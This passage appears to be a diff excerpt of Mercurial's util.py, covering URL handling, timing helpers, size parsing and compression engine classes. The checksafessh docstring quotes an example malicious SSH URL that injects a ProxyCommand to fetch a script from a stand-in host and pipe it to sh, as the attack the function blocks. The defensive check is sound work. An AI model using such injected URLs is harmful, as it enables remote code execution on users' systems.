2770 2771 # path when we store it, the path might contain '%2f' = '/',
2771 2772 # which we should *not* escape.
2772 2773 s += urlreq.quote(self.path, safe=self._safepchars)
2773 2774 if self.query:
2774 2775 # we store the query in escaped form.
2775 2776 s += '?' + self.query
2776 2777 if self.fragment is not None:
2777 2778 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2778 2779 return s
2779 2780
2780 2781 __str__ = encoding.strmethod(__bytes__)
2781 2782
2782 2783 def authinfo(self):
2783 2784 user, passwd = self.user, self.passwd
2784 2785 try:
2785 2786 self.user, self.passwd = None, None
2786 2787 s = bytes(self)
2787 2788 finally:
2788 2789 self.user, self.passwd = user, passwd
2789 2790 if not self.user:
2790 2791 return (s, None)
2791 2792 # authinfo[1] is passed to urllib2 password manager, and its
2792 2793 # URIs must not contain credentials. The host is passed in the
2793 2794 # URIs list because Python < 2.4.3 uses only that to search for
2794 2795 # a password.
2795 2796 return (s, (None, (s, self.host),
2796 2797 self.user, self.passwd or ''))
2797 2798
2798 2799 def isabs(self):
2799 2800 if self.scheme and self.scheme != 'file':
2800 2801 return True # remote URL
2801 2802 if hasdriveletter(self.path):
2802 2803 return True # absolute for our purposes - can't be joined()
2803 2804 if self.path.startswith(br'\\'):
2804 2805 return True # Windows UNC path
2805 2806 if self.path.startswith('/'):
2806 2807 return True # POSIX-style
2807 2808 return False
2808 2809
2809 2810 def localpath(self):
2810 2811 if self.scheme == 'file' or self.scheme == 'bundle':
2811 2812 path = self.path or '/'
2812 2813 # For Windows, we need to promote hosts containing drive
2813 2814 # letters to paths with drive letters.
2814 2815 if hasdriveletter(self._hostport):
2815 2816 path = self._hostport + '/' + self.path
2816 2817 elif (self.host is not None and self.path
2817 2818 and not hasdriveletter(path)):
2818 2819 path = '/' + path
2819 2820 return path
2820 2821 return self._origpath
2821 2822
2822 2823 def islocal(self):
2823 2824 '''whether localpath will return something that posixfile can open'''
2824 2825 return (not self.scheme or self.scheme == 'file'
2825 2826 or self.scheme == 'bundle')
2826 2827
2827 2828 def hasscheme(path):
2828 2829 return bool(url(path).scheme)
2829 2830
2830 2831 def hasdriveletter(path):
2831 2832 return path and path[1:2] == ':' and path[0:1].isalpha()
2832 2833
2833 2834 def urllocalpath(path):
2834 2835 return url(path, parsequery=False, parsefragment=False).localpath()
2835 2836
2836 2837 def checksafessh(path):
2837 2838 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2838 2839
2839 2840 This is a sanity check for ssh urls. ssh will parse the first item as
2840 2841 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2841 2842 Let's prevent these potentially exploited urls entirely and warn the
2842 2843 user.
2843 2844
2844 2845 Raises an error.Abort when the url is unsafe.
2845 2846 """
2846 2847 path = urlreq.unquote(path)
2847 2848 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2848 2849 raise error.Abort(_('potentially unsafe url: %r') %
2849 2850 (pycompat.bytestr(path),))
2850 2851
2851 2852 def hidepassword(u):
2852 2853 '''hide user credential in a url string'''
2853 2854 u = url(u)
2854 2855 if u.passwd:
2855 2856 u.passwd = '***'
2856 2857 return bytes(u)
2857 2858
2858 2859 def removeauth(u):
2859 2860 '''remove all authentication information from a url string'''
2860 2861 u = url(u)
2861 2862 u.user = u.passwd = None
2862 2863 return bytes(u)
2863 2864
2864 2865 timecount = unitcountfn(
2865 2866 (1, 1e3, _('%.0f s')),
2866 2867 (100, 1, _('%.1f s')),
2867 2868 (10, 1, _('%.2f s')),
2868 2869 (1, 1, _('%.3f s')),
2869 2870 (100, 0.001, _('%.1f ms')),
2870 2871 (10, 0.001, _('%.2f ms')),
2871 2872 (1, 0.001, _('%.3f ms')),
2872 2873 (100, 0.000001, _('%.1f us')),
2873 2874 (10, 0.000001, _('%.2f us')),
2874 2875 (1, 0.000001, _('%.3f us')),
2875 2876 (100, 0.000000001, _('%.1f ns')),
2876 2877 (10, 0.000000001, _('%.2f ns')),
2877 2878 (1, 0.000000001, _('%.3f ns')),
2878 2879 )
2879 2880
2880 2881 @attr.s
2881 2882 class timedcmstats(object):
2882 2883 """Stats information produced by the timedcm context manager on entering."""
2883 2884
2884 2885 # the starting value of the timer as a float (meaning and resulution is
2885 2886 # platform dependent, see util.timer)
2886 2887 start = attr.ib(default=attr.Factory(lambda: timer()))
2887 2888 # the number of seconds as a floating point value; starts at 0, updated when
2888 2889 # the context is exited.
2889 2890 elapsed = attr.ib(default=0)
2890 2891 # the number of nested timedcm context managers.
2891 2892 level = attr.ib(default=1)
2892 2893
2893 2894 def __bytes__(self):
2894 2895 return timecount(self.elapsed) if self.elapsed else '<unknown>'
2895 2896
2896 2897 __str__ = encoding.strmethod(__bytes__)
2897 2898
2898 2899 @contextlib.contextmanager
2899 def timedcm():
2900 def timedcm(whencefmt='unknown timedcm', *whenceargs):
2900 2901 """A context manager that produces timing information for a given context.
2901 2902
2902 2903 On entering a timedcmstats instance is produced.
2903 2904
2904 2905 This context manager is reentrant.
2905 2906
2906 2907 """
2907 2908 # track nested context managers
2908 2909 timedcm._nested += 1
2909 2910 timing_stats = timedcmstats(level=timedcm._nested)
2910 2911 try:
2912 with tracing.log(whencefmt, *whenceargs):
2911 2913 yield timing_stats
2912 2914 finally:
2913 2915 timing_stats.elapsed = timer() - timing_stats.start
2914 2916 timedcm._nested -= 1
2915 2917
2916 2918 timedcm._nested = 0
2917 2919
2918 2920 def timed(func):
2919 2921 '''Report the execution time of a function call to stderr.
2920 2922
2921 2923 During development, use as a decorator when you need to measure
2922 2924 the cost of a function, e.g. as follows:
2923 2925
2924 2926 @util.timed
2925 2927 def foo(a, b, c):
2926 2928 pass
2927 2929 '''
2928 2930
2929 2931 def wrapper(*args, **kwargs):
2930 2932 with timedcm() as time_stats:
2931 2933 result = func(*args, **kwargs)
2932 2934 stderr = procutil.stderr
2933 2935 stderr.write('%s%s: %s\n' % (
2934 2936 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
2935 2937 time_stats))
2936 2938 return result
2937 2939 return wrapper
2938 2940
2939 2941 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2940 2942 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2941 2943
2942 2944 def sizetoint(s):
2943 2945 '''Convert a space specifier to a byte count.
2944 2946
2945 2947 >>> sizetoint(b'30')
2946 2948 30
2947 2949 >>> sizetoint(b'2.2kb')
2948 2950 2252
2949 2951 >>> sizetoint(b'6M')
2950 2952 6291456
2951 2953 '''
2952 2954 t = s.strip().lower()
2953 2955 try:
2954 2956 for k, u in _sizeunits:
2955 2957 if t.endswith(k):
2956 2958 return int(float(t[:-len(k)]) * u)
2957 2959 return int(t)
2958 2960 except ValueError:
2959 2961 raise error.ParseError(_("couldn't parse size: %s") % s)
2960 2962
2961 2963 class hooks(object):
2962 2964 '''A collection of hook functions that can be used to extend a
2963 2965 function's behavior. Hooks are called in lexicographic order,
2964 2966 based on the names of their sources.'''
2965 2967
2966 2968 def __init__(self):
2967 2969 self._hooks = []
2968 2970
2969 2971 def add(self, source, hook):
2970 2972 self._hooks.append((source, hook))
2971 2973
2972 2974 def __call__(self, *args):
2973 2975 self._hooks.sort(key=lambda x: x[0])
2974 2976 results = []
2975 2977 for source, hook in self._hooks:
2976 2978 results.append(hook(*args))
2977 2979 return results
2978 2980
2979 2981 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2980 2982 '''Yields lines for a nicely formatted stacktrace.
2981 2983 Skips the 'skip' last entries, then return the last 'depth' entries.
2982 2984 Each file+linenumber is formatted according to fileline.
2983 2985 Each line is formatted according to line.
2984 2986 If line is None, it yields:
2985 2987 length of longest filepath+line number,
2986 2988 filepath+linenumber,
2987 2989 function
2988 2990
2989 2991 Not be used in production code but very convenient while developing.
2990 2992 '''
2991 2993 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2992 2994 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2993 2995 ][-depth:]
2994 2996 if entries:
2995 2997 fnmax = max(len(entry[0]) for entry in entries)
2996 2998 for fnln, func in entries:
2997 2999 if line is None:
2998 3000 yield (fnmax, fnln, func)
2999 3001 else:
3000 3002 yield line % (fnmax, fnln, func)
3001 3003
3002 3004 def debugstacktrace(msg='stacktrace', skip=0,
3003 3005 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3004 3006 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3005 3007 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3006 3008 By default it will flush stdout first.
3007 3009 It can be used everywhere and intentionally does not require an ui object.
3008 3010 Not be used in production code but very convenient while developing.
3009 3011 '''
3010 3012 if otherf:
3011 3013 otherf.flush()
3012 3014 f.write('%s at:\n' % msg.rstrip())
3013 3015 for line in getstackframes(skip + 1, depth=depth):
3014 3016 f.write(line)
3015 3017 f.flush()
3016 3018
3017 3019 class dirs(object):
3018 3020 '''a multiset of directory names from a dirstate or manifest'''
3019 3021
3020 3022 def __init__(self, map, skip=None):
3021 3023 self._dirs = {}
3022 3024 addpath = self.addpath
3023 3025 if safehasattr(map, 'iteritems') and skip is not None:
3024 3026 for f, s in map.iteritems():
3025 3027 if s[0] != skip:
3026 3028 addpath(f)
3027 3029 else:
3028 3030 for f in map:
3029 3031 addpath(f)
3030 3032
3031 3033 def addpath(self, path):
3032 3034 dirs = self._dirs
3033 3035 for base in finddirs(path):
3034 3036 if base in dirs:
3035 3037 dirs[base] += 1
3036 3038 return
3037 3039 dirs[base] = 1
3038 3040
3039 3041 def delpath(self, path):
3040 3042 dirs = self._dirs
3041 3043 for base in finddirs(path):
3042 3044 if dirs[base] > 1:
3043 3045 dirs[base] -= 1
3044 3046 return
3045 3047 del dirs[base]
3046 3048
3047 3049 def __iter__(self):
3048 3050 return iter(self._dirs)
3049 3051
3050 3052 def __contains__(self, d):
3051 3053 return d in self._dirs
3052 3054
3053 3055 if safehasattr(parsers, 'dirs'):
3054 3056 dirs = parsers.dirs
3055 3057
3056 3058 def finddirs(path):
3057 3059 pos = path.rfind('/')
3058 3060 while pos != -1:
3059 3061 yield path[:pos]
3060 3062 pos = path.rfind('/', 0, pos)
3061 3063
3062 3064 # compression code
3063 3065
3064 3066 SERVERROLE = 'server'
3065 3067 CLIENTROLE = 'client'
3066 3068
3067 3069 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3068 3070 (u'name', u'serverpriority',
3069 3071 u'clientpriority'))
3070 3072
3071 3073 class compressormanager(object):
3072 3074 """Holds registrations of various compression engines.
3073 3075
3074 3076 This class essentially abstracts the differences between compression
3075 3077 engines to allow new compression formats to be added easily, possibly from
3076 3078 extensions.
3077 3079
3078 3080 Compressors are registered against the global instance by calling its
3079 3081 ``register()`` method.
3080 3082 """
3081 3083 def __init__(self):
3082 3084 self._engines = {}
3083 3085 # Bundle spec human name to engine name.
3084 3086 self._bundlenames = {}
3085 3087 # Internal bundle identifier to engine name.
3086 3088 self._bundletypes = {}
3087 3089 # Revlog header to engine name.
3088 3090 self._revlogheaders = {}
3089 3091 # Wire proto identifier to engine name.
3090 3092 self._wiretypes = {}
3091 3093
3092 3094 def __getitem__(self, key):
3093 3095 return self._engines[key]
3094 3096
3095 3097 def __contains__(self, key):
3096 3098 return key in self._engines
3097 3099
3098 3100 def __iter__(self):
3099 3101 return iter(self._engines.keys())
3100 3102
3101 3103 def register(self, engine):
3102 3104 """Register a compression engine with the manager.
3103 3105
3104 3106 The argument must be a ``compressionengine`` instance.
3105 3107 """
3106 3108 if not isinstance(engine, compressionengine):
3107 3109 raise ValueError(_('argument must be a compressionengine'))
3108 3110
3109 3111 name = engine.name()
3110 3112
3111 3113 if name in self._engines:
3112 3114 raise error.Abort(_('compression engine %s already registered') %
3113 3115 name)
3114 3116
3115 3117 bundleinfo = engine.bundletype()
3116 3118 if bundleinfo:
3117 3119 bundlename, bundletype = bundleinfo
3118 3120
3119 3121 if bundlename in self._bundlenames:
3120 3122 raise error.Abort(_('bundle name %s already registered') %
3121 3123 bundlename)
3122 3124 if bundletype in self._bundletypes:
3123 3125 raise error.Abort(_('bundle type %s already registered by %s') %
3124 3126 (bundletype, self._bundletypes[bundletype]))
3125 3127
3126 3128 # No external facing name declared.
3127 3129 if bundlename:
3128 3130 self._bundlenames[bundlename] = name
3129 3131
3130 3132 self._bundletypes[bundletype] = name
3131 3133
3132 3134 wiresupport = engine.wireprotosupport()
3133 3135 if wiresupport:
3134 3136 wiretype = wiresupport.name
3135 3137 if wiretype in self._wiretypes:
3136 3138 raise error.Abort(_('wire protocol compression %s already '
3137 3139 'registered by %s') %
3138 3140 (wiretype, self._wiretypes[wiretype]))
3139 3141
3140 3142 self._wiretypes[wiretype] = name
3141 3143
3142 3144 revlogheader = engine.revlogheader()
3143 3145 if revlogheader and revlogheader in self._revlogheaders:
3144 3146 raise error.Abort(_('revlog header %s already registered by %s') %
3145 3147 (revlogheader, self._revlogheaders[revlogheader]))
3146 3148
3147 3149 if revlogheader:
3148 3150 self._revlogheaders[revlogheader] = name
3149 3151
3150 3152 self._engines[name] = engine
3151 3153
3152 3154 @property
3153 3155 def supportedbundlenames(self):
3154 3156 return set(self._bundlenames.keys())
3155 3157
3156 3158 @property
3157 3159 def supportedbundletypes(self):
3158 3160 return set(self._bundletypes.keys())
3159 3161
3160 3162 def forbundlename(self, bundlename):
3161 3163 """Obtain a compression engine registered to a bundle name.
3162 3164
3163 3165 Will raise KeyError if the bundle type isn't registered.
3164 3166
3165 3167 Will abort if the engine is known but not available.
3166 3168 """
3167 3169 engine = self._engines[self._bundlenames[bundlename]]
3168 3170 if not engine.available():
3169 3171 raise error.Abort(_('compression engine %s could not be loaded') %
3170 3172 engine.name())
3171 3173 return engine
3172 3174
3173 3175 def forbundletype(self, bundletype):
3174 3176 """Obtain a compression engine registered to a bundle type.
3175 3177
3176 3178 Will raise KeyError if the bundle type isn't registered.
3177 3179
3178 3180 Will abort if the engine is known but not available.
3179 3181 """
3180 3182 engine = self._engines[self._bundletypes[bundletype]]
3181 3183 if not engine.available():
3182 3184 raise error.Abort(_('compression engine %s could not be loaded') %
3183 3185 engine.name())
3184 3186 return engine
3185 3187
3186 3188 def supportedwireengines(self, role, onlyavailable=True):
3187 3189 """Obtain compression engines that support the wire protocol.
3188 3190
3189 3191 Returns a list of engines in prioritized order, most desired first.
3190 3192
3191 3193 If ``onlyavailable`` is set, filter out engines that can't be
3192 3194 loaded.
3193 3195 """
3194 3196 assert role in (SERVERROLE, CLIENTROLE)
3195 3197
3196 3198 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3197 3199
3198 3200 engines = [self._engines[e] for e in self._wiretypes.values()]
3199 3201 if onlyavailable:
3200 3202 engines = [e for e in engines if e.available()]
3201 3203
3202 3204 def getkey(e):
3203 3205 # Sort first by priority, highest first. In case of tie, sort
3204 3206 # alphabetically. This is arbitrary, but ensures output is
3205 3207 # stable.
3206 3208 w = e.wireprotosupport()
3207 3209 return -1 * getattr(w, attr), w.name
3208 3210
3209 3211 return list(sorted(engines, key=getkey))
3210 3212
3211 3213 def forwiretype(self, wiretype):
3212 3214 engine = self._engines[self._wiretypes[wiretype]]
3213 3215 if not engine.available():
3214 3216 raise error.Abort(_('compression engine %s could not be loaded') %
3215 3217 engine.name())
3216 3218 return engine
3217 3219
3218 3220 def forrevlogheader(self, header):
3219 3221 """Obtain a compression engine registered to a revlog header.
3220 3222
3221 3223 Will raise KeyError if the revlog header value isn't registered.
3222 3224 """
3223 3225 return self._engines[self._revlogheaders[header]]
3224 3226
3225 3227 compengines = compressormanager()
3226 3228
3227 3229 class compressionengine(object):
3228 3230 """Base class for compression engines.
3229 3231
3230 3232 Compression engines must implement the interface defined by this class.
3231 3233 """
3232 3234 def name(self):
3233 3235 """Returns the name of the compression engine.
3234 3236
3235 3237 This is the key the engine is registered under.
3236 3238
3237 3239 This method must be implemented.
3238 3240 """
3239 3241 raise NotImplementedError()
3240 3242
3241 3243 def available(self):
3242 3244 """Whether the compression engine is available.
3243 3245
3244 3246 The intent of this method is to allow optional compression engines
3245 3247 that may not be available in all installations (such as engines relying
3246 3248 on C extensions that may not be present).
3247 3249 """
3248 3250 return True
3249 3251
3250 3252 def bundletype(self):
3251 3253 """Describes bundle identifiers for this engine.
3252 3254
3253 3255 If this compression engine isn't supported for bundles, returns None.
3254 3256
3255 3257 If this engine can be used for bundles, returns a 2-tuple of strings of
3256 3258 the user-facing "bundle spec" compression name and an internal
3257 3259 identifier used to denote the compression format within bundles. To
3258 3260 exclude the name from external usage, set the first element to ``None``.
3259 3261
3260 3262 If bundle compression is supported, the class must also implement
3261 3263 ``compressstream`` and `decompressorreader``.
3262 3264
3263 3265 The docstring of this method is used in the help system to tell users
3264 3266 about this engine.
3265 3267 """
3266 3268 return None
3267 3269
3268 3270 def wireprotosupport(self):
3269 3271 """Declare support for this compression format on the wire protocol.
3270 3272
3271 3273 If this compression engine isn't supported for compressing wire
3272 3274 protocol payloads, returns None.
3273 3275
3274 3276 Otherwise, returns ``compenginewireprotosupport`` with the following
3275 3277 fields:
3276 3278
3277 3279 * String format identifier
3278 3280 * Integer priority for the server
3279 3281 * Integer priority for the client
3280 3282
3281 3283 The integer priorities are used to order the advertisement of format
3282 3284 support by server and client. The highest integer is advertised
3283 3285 first. Integers with non-positive values aren't advertised.
3284 3286
3285 3287 The priority values are somewhat arbitrary and only used for default
3286 3288 ordering. The relative order can be changed via config options.
3287 3289
3288 3290 If wire protocol compression is supported, the class must also implement
3289 3291 ``compressstream`` and ``decompressorreader``.
3290 3292 """
3291 3293 return None
3292 3294
3293 3295 def revlogheader(self):
3294 3296 """Header added to revlog chunks that identifies this engine.
3295 3297
3296 3298 If this engine can be used to compress revlogs, this method should
3297 3299 return the bytes used to identify chunks compressed with this engine.
3298 3300 Else, the method should return ``None`` to indicate it does not
3299 3301 participate in revlog compression.
3300 3302 """
3301 3303 return None
3302 3304
3303 3305 def compressstream(self, it, opts=None):
3304 3306 """Compress an iterator of chunks.
3305 3307
3306 3308 The method receives an iterator (ideally a generator) of chunks of
3307 3309 bytes to be compressed. It returns an iterator (ideally a generator)
3308 3310 of bytes of chunks representing the compressed output.
3309 3311
3310 3312 Optionally accepts an argument defining how to perform compression.
3311 3313 Each engine treats this argument differently.
3312 3314 """
3313 3315 raise NotImplementedError()
3314 3316
3315 3317 def decompressorreader(self, fh):
3316 3318 """Perform decompression on a file object.
3317 3319
3318 3320 Argument is an object with a ``read(size)`` method that returns
3319 3321 compressed data. Return value is an object with a ``read(size)`` that
3320 3322 returns uncompressed data.
3321 3323 """
3322 3324 raise NotImplementedError()
3323 3325
3324 3326 def revlogcompressor(self, opts=None):
3325 3327 """Obtain an object that can be used to compress revlog entries.
3326 3328
3327 3329 The object has a ``compress(data)`` method that compresses binary
3328 3330 data. This method returns compressed binary data or ``None`` if
3329 3331 the data could not be compressed (too small, not compressible, etc).
3330 3332 The returned data should have a header uniquely identifying this
3331 3333 compression format so decompression can be routed to this engine.
3332 3334 This header should be identified by the ``revlogheader()`` return
3333 3335 value.
3334 3336
3335 3337 The object has a ``decompress(data)`` method that decompresses
3336 3338 data. The method will only be called if ``data`` begins with
3337 3339 ``revlogheader()``. The method should return the raw, uncompressed
3338 3340 data or raise a ``RevlogError``.
3339 3341
3340 3342 The object is reusable but is not thread safe.
3341 3343 """
3342 3344 raise NotImplementedError()
3343 3345
3344 3346 class _CompressedStreamReader(object):
3345 3347 def __init__(self, fh):
3346 3348 if safehasattr(fh, 'unbufferedread'):
3347 3349 self._reader = fh.unbufferedread
3348 3350 else:
3349 3351 self._reader = fh.read
3350 3352 self._pending = []
3351 3353 self._pos = 0
3352 3354 self._eof = False
3353 3355
3354 3356 def _decompress(self, chunk):
3355 3357 raise NotImplementedError()
3356 3358
3357 3359 def read(self, l):
3358 3360 buf = []
3359 3361 while True:
3360 3362 while self._pending:
3361 3363 if len(self._pending[0]) > l + self._pos:
3362 3364 newbuf = self._pending[0]
3363 3365 buf.append(newbuf[self._pos:self._pos + l])
3364 3366 self._pos += l
3365 3367 return ''.join(buf)
3366 3368
3367 3369 newbuf = self._pending.pop(0)
3368 3370 if self._pos:
3369 3371 buf.append(newbuf[self._pos:])
3370 3372 l -= len(newbuf) - self._pos
3371 3373 else:
3372 3374 buf.append(newbuf)
3373 3375 l -= len(newbuf)
3374 3376 self._pos = 0
3375 3377
3376 3378 if self._eof:
3377 3379 return ''.join(buf)
3378 3380 chunk = self._reader(65536)
3379 3381 self._decompress(chunk)
3380 3382 if not chunk and not self._pending and not self._eof:
3381 3383 # No progress and no new data, bail out
3382 3384 return ''.join(buf)
3383 3385
3384 3386 class _GzipCompressedStreamReader(_CompressedStreamReader):
3385 3387 def __init__(self, fh):
3386 3388 super(_GzipCompressedStreamReader, self).__init__(fh)
3387 3389 self._decompobj = zlib.decompressobj()
3388 3390 def _decompress(self, chunk):
3389 3391 newbuf = self._decompobj.decompress(chunk)
3390 3392 if newbuf:
3391 3393 self._pending.append(newbuf)
3392 3394 d = self._decompobj.copy()
3393 3395 try:
3394 3396 d.decompress('x')
3395 3397 d.flush()
3396 3398 if d.unused_data == 'x':
3397 3399 self._eof = True
3398 3400 except zlib.error:
3399 3401 pass
3400 3402
3401 3403 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3402 3404 def __init__(self, fh):
3403 3405 super(_BZ2CompressedStreamReader, self).__init__(fh)
3404 3406 self._decompobj = bz2.BZ2Decompressor()
3405 3407 def _decompress(self, chunk):
3406 3408 newbuf = self._decompobj.decompress(chunk)
3407 3409 if newbuf:
3408 3410 self._pending.append(newbuf)
3409 3411 try:
3410 3412 while True:
3411 3413 newbuf = self._decompobj.decompress('')
3412 3414 if newbuf:
3413 3415 self._pending.append(newbuf)
3414 3416 else:
3415 3417 break
3416 3418 except EOFError:
3417 3419 self._eof = True
3418 3420
3419 3421 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3420 3422 def __init__(self, fh):
3421 3423 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3422 3424 newbuf = self._decompobj.decompress('BZ')
3423 3425 if newbuf:
3424 3426 self._pending.append(newbuf)
3425 3427
3426 3428 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3427 3429 def __init__(self, fh, zstd):
3428 3430 super(_ZstdCompressedStreamReader, self).__init__(fh)
3429 3431 self._zstd = zstd
3430 3432 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3431 3433 def _decompress(self, chunk):
3432 3434 newbuf = self._decompobj.decompress(chunk)
3433 3435 if newbuf:
3434 3436 self._pending.append(newbuf)
3435 3437 try:
3436 3438 while True:
3437 3439 newbuf = self._decompobj.decompress('')
3438 3440 if newbuf:
3439 3441 self._pending.append(newbuf)
3440 3442 else:
3441 3443 break
3442 3444 except self._zstd.ZstdError:
3443 3445 self._eof = True
3444 3446
3445 3447 class _zlibengine(compressionengine):
3446 3448 def name(self):
3447 3449 return 'zlib'
3448 3450
3449 3451 def bundletype(self):
3450 3452 """zlib compression using the DEFLATE algorithm.
3451 3453
3452 3454 All Mercurial clients should support this format. The compression
3453 3455 algorithm strikes a reasonable balance between compression ratio
3454 3456 and size.
3455 3457 """
3456 3458 return 'gzip', 'GZ'
3457 3459
3458 3460 def wireprotosupport(self):
3459 3461 return compewireprotosupport('zlib', 20, 20)
3460 3462
3461 3463 def revlogheader(self):
3462 3464 return 'x'
3463 3465
3464 3466 def compressstream(self, it, opts=None):
3465 3467 opts = opts or {}
3466 3468
3467 3469 z = zlib.compressobj(opts.get('level', -1))
3468 3470 for chunk in it:
3469 3471 data = z.compress(chunk)
3470 3472 # Not all calls to compress emit data. It is cheaper to inspect
3471 3473 # here than to feed empty chunks through generator.
3472 3474 if data:
3473 3475 yield data
3474 3476
3475 3477 yield z.flush()
3476 3478
3477 3479 def decompressorreader(self, fh):
3478 3480 return _GzipCompressedStreamReader(fh)
3479 3481
3480 3482 class zlibrevlogcompressor(object):
3481 3483 def compress(self, data):
3482 3484 insize = len(data)
3483 3485 # Caller handles empty input case.
3484 3486 assert insize > 0
3485 3487
3486 3488 if insize < 44:
3487 3489 return None
3488 3490
3489 3491 elif insize <= 1000000:
3490 3492 compressed = zlib.compress(data)
3491 3493 if len(compressed) < insize:
3492 3494 return compressed
3493 3495 return None
3494 3496
3495 3497 # zlib makes an internal copy of the input buffer, doubling
3496 3498 # memory usage for large inputs. So do streaming compression
3497 3499 # on large inputs.
3498 3500 else:
3499 3501 z = zlib.compressobj()
3500 3502 parts = []
3501 3503 pos = 0
3502 3504 while pos < insize:
3503 3505 pos2 = pos + 2**20
3504 3506 parts.append(z.compress(data[pos:pos2]))
3505 3507 pos = pos2
3506 3508 parts.append(z.flush())
3507 3509
3508 3510 if sum(map(len, parts)) < insize:
3509 3511 return ''.join(parts)
3510 3512 return None
3511 3513
3512 3514 def decompress(self, data):
3513 3515 try:
3514 3516 return zlib.decompress(data)
3515 3517 except zlib.error as e:
3516 3518 raise error.RevlogError(_('revlog decompress error: %s') %
3517 3519 stringutil.forcebytestr(e))
3518 3520
3519 3521 def revlogcompressor(self, opts=None):
3520 3522 return self.zlibrevlogcompressor()
3521 3523
3522 3524 compengines.register(_zlibengine())
3523 3525
3524 3526 class _bz2engine(compressionengine):
3525 3527 def name(self):
3526 3528 return 'bz2'
3527 3529
3528 3530 def bundletype(self):
3529 3531 """An algorithm that produces smaller bundles than ``gzip``.
3530 3532
3531 3533 All Mercurial clients should support this format.
3532 3534
3533 3535 This engine will likely produce smaller bundles than ``gzip`` but
3534 3536 will be significantly slower, both during compression and
3535 3537 decompression.
3536 3538
3537 3539 If available, the ``zstd`` engine can yield similar or better
3538 3540 compression at much higher speeds.
3539 3541 """
3540 3542 return 'bzip2', 'BZ'
3541 3543
3542 3544 # We declare a protocol name but don't advertise by default because
3543 3545 # it is slow.
3544 3546 def wireprotosupport(self):
3545 3547 return compewireprotosupport('bzip2', 0, 0)
3546 3548
3547 3549 def compressstream(self, it, opts=None):
3548 3550 opts = opts or {}
3549 3551 z = bz2.BZ2Compressor(opts.get('level', 9))
3550 3552 for chunk in it:
3551 3553 data = z.compress(chunk)
3552 3554 if data:
3553 3555 yield data
3554 3556
3555 3557 yield z.flush()
3556 3558
3557 3559 def decompressorreader(self, fh):
3558 3560 return _BZ2CompressedStreamReader(fh)
3559 3561
3560 3562 compengines.register(_bz2engine())
3561 3563
3562 3564 class _truncatedbz2engine(compressionengine):
3563 3565 def name(self):
3564 3566 return 'bz2truncated'
3565 3567
3566 3568 def bundletype(self):
3567 3569 return None, '_truncatedBZ'
3568 3570
3569 3571 # We don't implement compressstream because it is hackily handled elsewhere.
3570 3572
3571 3573 def decompressorreader(self, fh):
3572 3574 return _TruncatedBZ2CompressedStreamReader(fh)
3573 3575
3574 3576 compengines.register(_truncatedbz2engine())
3575 3577
3576 3578 class _noopengine(compressionengine):
3577 3579 def name(self):
3578 3580 return 'none'
3579 3581
3580 3582 def bundletype(self):
3581 3583 """No compression is performed.
3582 3584
3583 3585 Use this compression engine to explicitly disable compression.
3584 3586 """
3585 3587 return 'none', 'UN'
3586 3588
3587 3589 # Clients always support uncompressed payloads. Servers don't because
3588 3590 # unless you are on a fast network, uncompressed payloads can easily
3589 3591 # saturate your network pipe.
3590 3592 def wireprotosupport(self):
3591 3593 return compewireprotosupport('none', 0, 10)
3592 3594
3593 3595 # We don't implement revlogheader because it is handled specially
3594 3596 # in the revlog class.
3595 3597
3596 3598 def compressstream(self, it, opts=None):
3597 3599 return it
3598 3600
3599 3601 def decompressorreader(self, fh):
3600 3602 return fh
3601 3603
3602 3604 class nooprevlogcompressor(object):
3603 3605 def compress(self, data):
3604 3606 return None
3605 3607
3606 3608 def revlogcompressor(self, opts=None):
3607 3609 return self.nooprevlogcompressor()
3608 3610
3609 3611 compengines.register(_noopengine())
3610 3612
3611 3613 class _zstdengine(compressionengine):
3612 3614 def name(self):
3613 3615 return 'zstd'
3614 3616
3615 3617 @propertycache
3616 3618 def _module(self):
3617 3619 # Not all installs have the zstd module available. So defer importing
3618 3620 # until first access.
3619 3621 try:
3620 3622 from . import zstd
3621 3623 # Force delayed import.
3622 3624 zstd.__version__
3623 3625 return zstd
3624 3626 except ImportError:
3625 3627 return None
3626 3628
3627 3629 def available(self):
3628 3630 return bool(self._module)
3629 3631
3630 3632 def bundletype(self):
3631 3633 """A modern compression algorithm that is fast and highly flexible.
3632 3634
3633 3635 Only supported by Mercurial 4.1 and newer clients.
3634 3636
3635 3637 With the default settings, zstd compression is both faster and yields
3636 3638 better compression than ``gzip``. It also frequently yields better
3637 3639 compression than ``bzip2`` while operating at much higher speeds.
3638 3640
3639 3641 If this engine is available and backwards compatibility is not a
3640 3642 concern, it is likely the best available engine.
3641 3643 """
3642 3644 return 'zstd', 'ZS'
3643 3645
3644 3646 def wireprotosupport(self):
3645 3647 return compewireprotosupport('zstd', 50, 50)
3646 3648
3647 3649 def revlogheader(self):
3648 3650 return '\x28'
3649 3651
3650 3652 def compressstream(self, it, opts=None):
3651 3653 opts = opts or {}
3652 3654 # zstd level 3 is almost always significantly faster than zlib
3653 3655 # while providing no worse compression. It strikes a good balance
3654 3656 # between speed and compression.
3655 3657 level = opts.get('level', 3)
3656 3658
3657 3659 zstd = self._module
3658 3660 z = zstd.ZstdCompressor(level=level).compressobj()
3659 3661 for chunk in it:
3660 3662 data = z.compress(chunk)
3661 3663 if data:
3662 3664 yield data
3663 3665
3664 3666 yield z.flush()
3665 3667
3666 3668 def decompressorreader(self, fh):
3667 3669 return _ZstdCompressedStreamReader(fh, self._module)
3668 3670
3669 3671 class zstdrevlogcompressor(object):
